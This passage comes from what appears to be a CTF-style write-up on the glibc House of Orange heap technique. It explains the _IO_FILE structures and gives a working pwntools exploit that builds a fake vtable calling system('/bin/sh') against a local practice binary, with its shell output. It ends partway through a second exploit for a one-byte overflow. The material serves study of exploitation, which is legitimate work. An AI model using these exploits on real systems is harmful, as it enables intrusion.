There doesn&rsquo;t seem to be an immediately obvious utility aside from leaking a libc address, but we can sneakily replace a different linked list head in Glibc with the head of the unsortedbin linked list.</p>
<p>The big non-heap candidate here is <kbd>_IO_list_all</kbd>, which is a linked list of <kbd>_IO_FILE</kbd> structures for stdio (stdin/stdout/stderr).
In a similar vein to the malloc hooks, <kbd>_IO_FILE</kbd> (or technically <kbd>_IO_FILE_plus</kbd>) has a vtable pointer that could be clobbered, and just like malloc hooks, we can reliably trigger execution of one or more functions in this vtable (<kbd>_IO_flush_all_lockp</kbd> will traverse all the files in <kbd>_IO_list_all</kbd> and execute each <kbd>_IO_FILE</kbd>&rsquo;s <kbd>__overflow</kbd> method; we can trigger this by intentionally failing a heap corruption check, which will <kbd>abort</kbd> which eventually calls <kbd>_IO_flush_all_lockp</kbd>).</p>





  
  
    

  
  
    









<details open>
  
  <summary>C</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#b6a0ff">struct</span> _IO_FILE {
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">int</span>                  _flags;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">char</span> <span style="color:#00d3d0">*</span>               _IO_read_ptr;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">char</span> <span style="color:#00d3d0">*</span>               _IO_read_end;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">char</span> <span style="color:#00d3d0">*</span>               _IO_read_base;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">char</span> <span style="color:#00d3d0">*</span>               _IO_write_base;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">char</span> <span style="color:#00d3d0">*</span>               _IO_write_ptr;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">char</span> <span style="color:#00d3d0">*</span>               _IO_write_end;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">char</span> <span style="color:#00d3d0">*</span>               _IO_buf_base;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">char</span> <span style="color:#00d3d0">*</span>               _IO_buf_end;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">char</span> <span style="color:#00d3d0">*</span>               _IO_save_base;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">char</span> <span style="color:#00d3d0">*</span>               _IO_backup_base;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">char</span> <span style="color:#00d3d0">*</span>               _IO_save_end;
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">struct</span> _IO_marker <span style="color:#00d3d0">*</span> _markers;
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">struct</span> _IO_FILE <span style="color:#00d3d0">*</span>   _chain;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">int</span>                 _fileno;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">int</span>                 _flags2;
</span></span><span style="display:flex;"><span>  __off_t             _old_offset; <span style="color:#a8a8a8">// __off_t == long int
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>  <span style="color:#6ae4b9">unsigned</span> <span style="color:#6ae4b9">short</span>      _cur_column;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">signed</span> <span style="color:#6ae4b9">char</span>         _vtable_offset;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">char</span>                _shortbuf[<span style="color:#00bcff">1</span>];
</span></span><span style="display:flex;"><span>  _IO_lock_t <span style="color:#00d3d0">*</span>        _lock;
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">struct</span> _IO_FILE_complete {
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">struct</span> _IO_FILE _file;
</span></span><span style="display:flex;"><span>  __off64_t       _offset;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">void</span> <span style="color:#00d3d0">*</span>          __pad1;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">void</span> <span style="color:#00d3d0">*</span>          __pad2;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">void</span> <span style="color:#00d3d0">*</span>          __pad3;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">void</span> <span style="color:#00d3d0">*</span>          __pad4;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">size_t</span>          __pad5;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">int</span>             _mode;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">char</span>            _unused2[<span style="color:#00bcff">20</span>];
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">struct</span> _IO_jump_t {
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">size_t</span>           __dummy;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">size_t</span>           __dummy2;
</span></span><span style="display:flex;"><span>  <span style="color:#a8a8a8">/* these are all function pointers */</span>
</span></span><span style="display:flex;"><span>  _IO_finish_t     __finish;
</span></span><span style="display:flex;"><span>  _IO_overflow_t   __overflow;
</span></span><span style="display:flex;"><span>  _IO_underflow_t  __underflow;
</span></span><span style="display:flex;"><span>  _IO_underflow_t  __uflow;
</span></span><span style="display:flex;"><span>  _IO_pbackfail_t  __pbackfail;
</span></span><span style="display:flex;"><span>  _IO_xsputn_t     __xsputn;
</span></span><span style="display:flex;"><span>  _IO_xsgetn_t     __xsgetn;
</span></span><span style="display:flex;"><span>  _IO_seekoff_t    __seekoff;
</span></span><span style="display:flex;"><span>  _IO_seekpos_t    __seekpos;
</span></span><span style="display:flex;"><span>  _IO_setbuf_t     __setbuf;
</span></span><span style="display:flex;"><span>  _IO_sync_t       __sync;
</span></span><span style="display:flex;"><span>  _IO_doallocate_t __doallocate;
</span></span><span style="display:flex;"><span>  _IO_read_t       __read;
</span></span><span style="display:flex;"><span>  _IO_write_t      __write;
</span></span><span style="display:flex;"><span>  _IO_seek_t       __seek;
</span></span><span style="display:flex;"><span>  _IO_close_t      __close;
</span></span><span style="display:flex;"><span>  _IO_stat_t       __stat;
</span></span><span style="display:flex;"><span>  _IO_showmanyc_t  __showmanyc;
</span></span><span style="display:flex;"><span>  _IO_imbue_t      __imbue;
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">struct</span> _IO_FILE_plus {
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">struct</span> _IO_FILE_complete  file;
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">const</span> <span style="color:#b6a0ff">struct</span> _IO_jump_t <span style="color:#00d3d0">*</span> vtable;
</span></span><span style="display:flex;"><span>};</span></span></code></pre></div>
</details>

<h3 id="solve">Solve</h3>
<p>There are three &ldquo;phases&rdquo; to our House of Orange attack (phases two and three happen at the same time but I think it&rsquo;s helpful to mentally separate them):</p>
<ol>
<li>Clobber top chunk&rsquo;s <kbd>size</kbd> field to a small page-aligned value and request a chunk larger than the top chunk can service.
This causes malloc to call <kbd>sbrk</kbd> for a new top chunk that can service the request, and the old top chunk is added to the unsortedbin freelist (it doesn&rsquo;t get extended/consolidated because the new top chunk is not contiguous with the old one).</li>
<li>Overwrite the old top chunk&rsquo;s <kbd>bk</kbd> pointer to 16 bytes before <kbd>_IO_list_all</kbd>; when we next request a chunk, <kbd>_IO_list_all</kbd> will be clobbered with <kbd>main_arena.bins[0]-0x10</kbd> (aka the head of the unsortedbin freelist).</li>
<li>In addition to overwriting the old top chunk&rsquo;s <kbd>bk</kbd> pointer, also construct a fake <kbd>_IO_FILE_plus</kbd> (and stuff in a <kbd>_IO_jump_t</kbd> somewhere) that coincides with the old top chunk.
There will be a few very basic checks against our fake <kbd>_IO_FILE_plus</kbd>, so be sure to pass those.
This has the secondary effect of corrupting the heap, which will call <kbd>(fake_filep-&gt;vtable.__overflow)(&amp;fake_filep, -1)</kbd>; because <kbd>fake_filep-&gt;vtable.__overflow</kbd> is set to <kbd>system</kbd> and <kbd>flags</kbd> is set to <code>&quot;/bin/sh&quot;</code> (<kbd>flags</kbd> is the first member of <kbd>_IO_FILE</kbd>, so <kbd>&amp;fake_filep == &amp;fake_filep.flags</kbd>), this calls <kbd>system(&quot;/bin/sh&quot;)</kbd>.</li>
</ol>
<!--listend-->





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> pwn <span style="color:#b6a0ff">import</span> <span style="color:#00d3d0">*</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>context<span style="color:#00d3d0">.</span>log_level <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;warning&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>elf <span style="color:#00d3d0">=</span> context<span style="color:#00d3d0">.</span>binary <span style="color:#00d3d0">=</span> ELF(<span style="color:#79a8ff">&#34;house_of_orange&#34;</span>)
</span></span><span style="display:flex;"><span>libc <span style="color:#00d3d0">=</span> ELF(elf<span style="color:#00d3d0">.</span>runpath <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/libc.so.6&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">malloc</span>(size):
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">if</span> size <span style="color:#00d3d0">==</span> <span style="color:#00bcff">0x18</span>:
</span></span><span style="display:flex;"><span>        proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;1&#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">elif</span> size <span style="color:#00d3d0">==</span> <span style="color:#00bcff">0xfc0</span>:
</span></span><span style="display:flex;"><span>        proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;2&#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">else</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">raise</span> Exception(<span style="color:#79a8ff">&#34;size must be 0xfc0 (large) or 0x18 (small)&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">edit</span>(data):
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">if</span> <span style="color:#f78fe7">len</span>(data) <span style="color:#00d3d0">&gt;</span> <span style="color:#00bcff">0xf0</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">raise</span> Exception(<span style="color:#79a8ff">&#34;data cannot be larger than 0xf0 bytes&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;3&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;data: &#34;</span>, data)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc <span style="color:#00d3d0">=</span> remote(<span style="color:#79a8ff">&#34;localhost&#34;</span>, <span style="color:#00bcff">1337</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;puts() @ &#34;</span>)
</span></span><span style="display:flex;"><span>libc<span style="color:#00d3d0">.</span>address <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">int</span>(proc<span style="color:#00d3d0">.</span>recvline(), <span style="color:#00bcff">16</span>) <span style="color:#00d3d0">-</span> libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>puts
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;heap @ &#34;</span>)
</span></span><span style="display:flex;"><span>heap <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">int</span>(proc<span style="color:#00d3d0">.</span>recvline(), <span style="color:#00bcff">16</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>timeout <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0.5</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>fake_vtable <span style="color:#00d3d0">=</span> flat(
</span></span><span style="display:flex;"><span>    p64(<span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>    p64(<span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>    p64(<span style="color:#00bcff">0xcafebabe</span>),
</span></span><span style="display:flex;"><span>    p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>system),
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>fake_filep <span style="color:#00d3d0">=</span> flat(
</span></span><span style="display:flex;"><span>    <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/bin/sh</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span>, <span style="color:#a8a8a8"># _flags / old_top_chunk.prev_size</span>
</span></span><span style="display:flex;"><span>    p64(<span style="color:#00bcff">0x60</span> <span style="color:#00d3d0">|</span> <span style="color:#00bcff">0b1</span>), <span style="color:#a8a8a8"># _IO_read_ptr / old_top_chunk.size</span>
</span></span><span style="display:flex;"><span>    p64(<span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>    p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>_IO_list_all<span style="color:#00d3d0">-</span><span style="color:#00bcff">0x10</span>), <span style="color:#a8a8a8"># old_top_chunk.bk</span>
</span></span><span style="display:flex;"><span>    p64(<span style="color:#00bcff">1</span>), <span style="color:#a8a8a8"># _IO_write_base</span>
</span></span><span style="display:flex;"><span>    p64(<span style="color:#00bcff">2</span>), <span style="color:#a8a8a8"># _IO_write_ptr</span>
</span></span><span style="display:flex;"><span>    fake_vtable,
</span></span><span style="display:flex;"><span>    <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">*</span>(<span style="color:#00bcff">0xc0</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">0x30</span><span style="color:#00d3d0">-</span><span style="color:#f78fe7">len</span>(fake_vtable)),
</span></span><span style="display:flex;"><span>    p32(<span style="color:#00bcff">0</span>), <span style="color:#a8a8a8"># _mode</span>
</span></span><span style="display:flex;"><span>    <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">20</span>,
</span></span><span style="display:flex;"><span>    p64(heap<span style="color:#00d3d0">+</span><span style="color:#00bcff">0x20</span><span style="color:#00d3d0">+</span><span style="color:#00bcff">0x30</span>), <span style="color:#a8a8a8"># vtable</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># phase 1: turn top chunk into a small chunk and add it to the unsortedbin</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>)
</span></span><span style="display:flex;"><span>edit(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;A&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">0x18</span> <span style="color:#00d3d0">+</span> p64((<span style="color:#00bcff">0x1000</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">0x20</span>) <span style="color:#00d3d0">|</span> <span style="color:#00bcff">0b001</span>)) <span style="color:#a8a8a8"># clobber top chunk&#39;s size</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0xfc0</span>) <span style="color:#a8a8a8"># allocate a chunk large enough to brk a new top chunk and free the old one</span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># unsortedbin: [old_top_chunk, size: 0xfc0, fd: &amp;main_arena.bins[0], bk: &amp;main_arena.bins[0]]</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># phase 3: fake _IO_FILE_plus with malicious vtable</span>
</span></span><span style="display:flex;"><span>edit(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;A&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">0x10</span> <span style="color:#00d3d0">+</span> fake_filep)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># unsortedbin: [old_top_chunk, size: 0x18, fd: NULL, bk: &amp;main_arena-0x10]</span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># phase 2: unsortedbin attack to clobber _IO_list_all to point to fake _IO_FILE_plus</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># serviced from the unsortedbin, results in old_top_chunk.bk-&gt;fd = &amp;old_top_chunk</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>sendline(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;id&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(proc<span style="color:#00d3d0">.</span>recvline())</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>b&#39;uid=1000(pwny) gid=100(users) groups=100(users),1(wheel)\n&#39;</span></span></code></pre></div>

<h3 id="challenge-solve">Challenge solve</h3>
<p>There are two main differences from the previous challenge.</p>
<p>First, we can only allocate chunks of size 0x60, so the chunk we use for the unsortedbin attack must be of size 0x68 instead; this will still fit in the 0x60 smallbin, but will avoid <kbd>_int_malloc</kbd>&rsquo;s fastpath that avoids binning when the chunk in the unsortedbin is an exact match for the requested size.</p>





  
  
    

  
  
    









<details open>
  
  <summary>C</summary>
  
  </summary>
  <div class="highlight"><div style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3519
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3520
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3521
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3522
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3523
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3524
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3525
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3526
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3527
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3528
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3529
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3530
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#a8a8a8">/* Take now instead of binning if exact fit */</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">if</span> (size <span style="color:#00d3d0">==</span> nb)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">set_inuse_bit_at_offset</span> (victim, size);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">if</span> (av <span style="color:#00d3d0">!=</span> <span style="color:#00d3d0">&amp;</span>main_arena)
</span></span><span style="display:flex;"><span>    victim<span style="color:#00d3d0">-&gt;</span>size <span style="color:#00d3d0">|=</span> NON_MAIN_ARENA;
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">check_malloced_chunk</span> (av, victim, nb);
</span></span><span style="display:flex;"><span>    <span style="color:#6ae4b9">void</span> <span style="color:#00d3d0">*</span>p <span style="color:#00d3d0">=</span> <span style="color:#feacd0">chunk2mem</span> (victim);
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">alloc_perturb</span> (p, bytes);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> p;
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
</details>

<p>Second, instead of a very generous heap overflow we can only overflow the first byte of the next chunk&rsquo;s size field (and flags).
Instead of clobbering the top chunk&rsquo;s size field like we did last time, we can allocate two chunks next to each other, double the first chunk&rsquo;s size, free this large chunk to put a 0xc0 sized chunk in the unsortedbin freelist and finally allocate a new 0x60 chunk to split the tail of the unsortedbin into two 0x60 sized chunks (the first of which is used to service the request).
This results in a UAF of the second chunk, which we can use to clobber unsortedbin linked list pointers (and ultimately leak libc/heap pointers and perform an FSOP attack).</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> pwn <span style="color:#b6a0ff">import</span> <span style="color:#00d3d0">*</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>context<span style="color:#00d3d0">.</span>log_level <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;warning&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>elf <span style="color:#00d3d0">=</span> context<span style="color:#00d3d0">.</span>binary <span style="color:#00d3d0">=</span> ELF(<span style="color:#79a8ff">&#34;one_byte&#34;</span>)
</span></span><span style="display:flex;"><span>libc <span style="color:#00d3d0">=</span> ELF(elf<span style="color:#00d3d0">.</span>runpath <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/libc.so.6&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">calloc</span>(size):
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">if</span> size <span style="color:#00d3d0">!=</span> <span style="color:#00bcff">0x58</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">raise</span> Exception(<span style="color:#79a8ff">&#34;size must be 0x58&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;1&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">free</span>(index):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;2&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">edit</span>(index, data):
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">if</span> <span style="color:#f78fe7">len</span>(data) <span style="color:#00d3d0">&gt;</span> <span style="color:#00bcff">0x59</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">raise</span> Exception(<span style="color:#79a8ff">&#34;data cannot be larger than 0x59 bytes&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;3&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;data: &#34;</span>, data)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">read</span>(index):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;4&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    ret <span style="color:#00d3d0">=</span> proc<span style="color:#00d3d0">.</span>recvline()<span style="color:#00d3d0">.</span>strip()
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> ret
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc <span style="color:#00d3d0">=</span> remote(<span style="color:#79a8ff">&#34;localhost&#34;</span>, <span style="color:#00bcff">1337</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>timeout <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0.5</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>calloc(<span style="color:#00bcff">0x60</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk A</span>
</span></span><span style="display:flex;"><span>calloc(<span style="color:#00bcff">0x60</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk B</span>
</span></span><span style="display:flex;"><span>calloc(<span style="color:#00bcff">0x60</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk C</span>
